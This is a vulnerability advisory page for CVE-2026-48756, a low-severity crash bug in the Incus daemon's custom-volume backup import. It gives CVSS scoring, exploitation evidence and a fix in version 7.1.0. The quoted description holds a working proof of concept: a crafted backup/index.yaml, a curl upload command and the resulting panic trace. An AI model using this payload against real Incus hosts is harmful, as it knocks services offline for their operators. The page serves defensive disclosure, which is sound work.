CVE-2026-48756VulnerabilityPublished 26 Jun 2026

github.com/lxc/incus/v7/cmd/incusd · Incus: CreateCustomVolumeFromBackup nil-pointer dereference on volume_snapshots[*].expires_at (sibling-field variant

Affects github.com/lxc/incus/v7/cmd/incusdSource GCVE Database

Mentioned vulnerabilities

CVE-2026-40197

Authoritative record:CVE-2026-48756· Low 2.1

Public exploit available · CVSS 2.1 Low : upgrade to 7.1.0 as a priority.

Data as of 26 Oct 2026, 10:12 UTC

CVSS 4.0 base score

2.1Low

How severe the flaw is on the 0–10 CVSS scale.

EPSS: 0.3% chance of exploitation in 30 days – higher than 31% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
Patch: Available – fixed in 7.1.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P

Base metrics

Attack Vector: Network
Attack Complexity: Low
Attack Requirements: None
Privileges Required: Low
User Interaction: None
Vulnerable system confidentiality: None
Vulnerable system integrity: None
Vulnerable system availability: Low
Subsequent system confidentiality: None
Subsequent system integrity: None
Subsequent system availability: None

Threat metrics

Exploit Maturity: POC

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Attack Requirements: None: The successful attack does not depend on the deployment and execution conditions of the vulnerable system. The attacker can expect to be able to reach the vulnerability and execute the exploit under all or most instances of the vulnerability.
Privileges Required: Low: The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction: None: The vulnerable system can be exploited without interaction from any human user, other than the attacker.
Vulnerable system confidentiality: None: There is no loss of confidentiality within the Vulnerable System.
Vulnerable system integrity: None: There is no loss of integrity within the Vulnerable System.
Vulnerable system availability: Low: Performance is reduced or there are interruptions in resource availability. Even if repeated exploitation of the vulnerability is possible, the attacker does not have the ability to completely deny service to legitimate users. The resources in the Vulnerable System are either partially available all of the time, or fully available only some of the time, but overall there is no direct, serious consequence to the Vulnerable System.
Subsequent system confidentiality: None: There is no loss of confidentiality within the Subsequent System or all confidentiality impact is constrained to the Vulnerable System.
Subsequent system integrity: None: There is no loss of integrity within the Subsequent System or all integrity impact is constrained to the Vulnerable System.
Subsequent system availability: None: There is no impact to availability within the Subsequent System or all availability impact is constrained to the Vulnerable System.
Exploit Maturity: POC: Based on threat intelligence sources each of the following must apply: · Proof-of-concept is publicly available · No knowledge of reported attempts to exploit this vulnerability · No knowledge of publicly available solutions used to simplify attempts to exploit the vulnerability

Definitions: FIRST CVSS v4.0 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 21 Aug 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponised: evidence found.
CVSS exploit maturity: proof of concept public
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), CVSS vector, the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponised: Public exploit code exists in Metasploit or Exploit-DB, or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade github.com/lxc/incus/v7/cmd/incusd to 7.1.0.

Affected software

Product	Affected	Fixed in
Gogithub.com/lxc/incus/v7/cmd/incusd	Affected <7.1.0	Fixed in 7.1.0

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Description

## Summary `(*backend).CreateCustomVolumeFromBackup` in [`internal/server/storage/backend.go`](https://github.com/lxc/incus/blob/985a1dedf9f3e7ba729c93b654905ed510de25c2/internal/server/storage/backend.go) contains an unguarded `*time.Time` dereference on the `ExpiresAt` field of every volume-snapshot entry in an imported custom-volume backup. An authenticated user with `can_create_storage_volumes` permission on any project can crash the `incusd` daemon by uploading a backup tarball whose `volume_snapshots[*].expires_at` field is absent. This is a sibling-field variant of GHSA-r7w7-mmxr-47r9 (CVE-2026-40197). Commit `985a1dedf9f3e7ba729c93b654905ed510de25c2` added `if s == nil` at the top of the loop body, but did not guard the adjacent `*snapshot.ExpiresAt` deref 19 lines later. Every other consumer of `Config.VolumeSnapshots[i].ExpiresAt` in this same file already gates the deref with a nil-check — the asymmetric guard is the bug. ## Vulnerable code [`internal/server/storage/backend.go`](https://github.com/lxc/incus/blob/985a1dedf9f3e7ba729c93b654905ed510de25c2/internal/server/storage/backend.go), `CreateCustomVolumeFromBackup`: ```go // Line 7710-7714 — the parent fix from GHSA-r7w7 for _, s := range srcBackup.Config.VolumeSnapshots { if s == nil { return errors.New("Bad snapshot definition found in index") } snapshot := s snapName := snapshot.Name // ... // Line 7731 — UNGUARDED *time.Time deref: err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, *snapshot.ExpiresAt, // <-- panics when expires_at omitted in YAML snapVol.ContentType(), true, true) ``` `ExpiresAt` is declared `*time.Time` (`shared/api/storage_pool_volume_snapshot.go:21,88`). Every other consumer in the same file already uses the safe pattern: | Line | Code | Guarded? | |------|------|----------| | 909-910 | `CreateInstanceFromBackup` | YES | | 1134-1135 | refresh path | YES | | 1422-1423 | migration path | YES | | **7731** | **`CreateCustomVolumeFromBackup`** | **NO** | ## Reach 1. Attacker is an authenticated client (TLS cert, OIDC, or unix socket) with the `can_create_storage_volumes` entitlement on any project. Same auth gate as parent GHSA-r7w7. 2. `POST /1.0/storage-pools/<pool>/volumes/custom` with `Content-Type: application/octet-stream` and `X-Incus-name: <name>`. 3. Body is a tar containing [`backup/index.yaml`](https://github.com/lxc/incus/blob/985a1dedf9f3e7ba729c93b654905ed510de25c2/backup/index.yaml) with `type: custom`, a non-nil `volume:` block, and `volume_snapshots: [{name: snap0}]` (no `expires_at` field). 4. `cmd/incusd/storage_volumes.go:storagePoolVolumesPost` -> `backup.GetInfo` parses the yaml -> `pool.CreateCustomVolumeFromBackup` -> the `s == nil` guard at 7712 passes (snapshot pointer is non-nil) -> `*snapshot.ExpiresAt` on line 7731 panics on the nil `*time.Time`. 5. No `recover()` is installed in the operation runner, so the panic kills the entire `incusd` process. Repeated POSTs are a persistent denial of service. Minimal [`backup/index.yaml`](https://github.com/lxc/incus/blob/985a1dedf9f3e7ba729c93b654905ed510de25c2/backup/index.yaml): ```yaml name: poc-vol backend: dir pool: default type: custom optimized: false optimized_header: false snapshots: [snap0] config: volume: {name: poc-vol, type: custom, content_type: filesystem, config: {}} volume_snapshots: - name: snap0 description: snap0 config: {} # expires_at intentionally omitted ``` ## Proof of concept (end-to-end against running daemon) Bundled in the report: `make_backup.sh` + the resulting 479-byte `poc-vol.tar.gz`. Tested against `incus 7.0.0` (zabbly latest GA at time of report; build `1:0~ubuntu24.04~202605201355`) inside a privileged Ubuntu 24.04 container with the default `dir` storage pool. ```bash $ curl -s --unix-socket /var/lib/incus/unix.socket -X POST \ --data-binary @/tmp/poc-vol.tar.gz \ -H 'Content-Type: application/octet-stream' \ -H 'X-Incus-name: poc-vol' \ http://incus/1.0/storage-pools/default/volumes/custom {"type":"async","status":"Operation created","status_code":100,...} $ ps -ef | grep incusd | grep -v grep # process is GONE ``` Daemon panic from `/tmp/incus.out`: ``` panic: runtime error: invalid memory address or nil pointer dereference [signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x162b938] goroutine 422 [running]: github.com/lxc/incus/v7/internal/server/storage.(*backend).CreateCustomVolumeFromBackup(...) /build/incus/internal/server/storage/backend.go:7731 +0xb48 main.createStoragePoolVolumeFromBackup.func7(...) /build/incus/cmd/incusd/storage_volumes.go:2915 +0x290 github.com/lxc/incus/v7/internal/server/operations.(*Operation).Start.func1(...) /build/incus/internal/server/operations/operations.go:307 +0x2c created by github.com/lxc/incus/v7/internal/server/operations.(*Operation).Star

CWE-476NULL Pointer Dereference (opens in a new tab)
Base weaknessLikelihood of exploit: MediumCWE Top 25 (2025): #13OWASP Top 10 A10:2025: Mishandling of Exceptional Conditions (opens in a new tab)
The product dereferences a pointer that it expects to be valid but is NULL.
Implementation
For any pointers that could have been modified or provided from a function that can return NULL, check the pointer for NULL before use. When working with a multithreaded or otherwise asynchronous environment, ensure that proper locking APIs are used to lock before the check, and unlock when it has finished.
Requirements
Select a programming language that is not susceptible to these issues.
Implementation
Check the results of all functions that return a value and verify that the value is non-null before acting upon it.
OWASP Cheat Sheets
Logging (opens in a new tab)
Error Handling (opens in a new tab)
OWASP ASVS 4.0.3
V11.1.7 (opens in a new tab)
From MITRE CWE, MITRE CAPEC and OWASP (Top 10, OpenCRE).

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Exploitation evidence

What to do

Affected software

Description

WeaknessesCWE-476

Technical details

References

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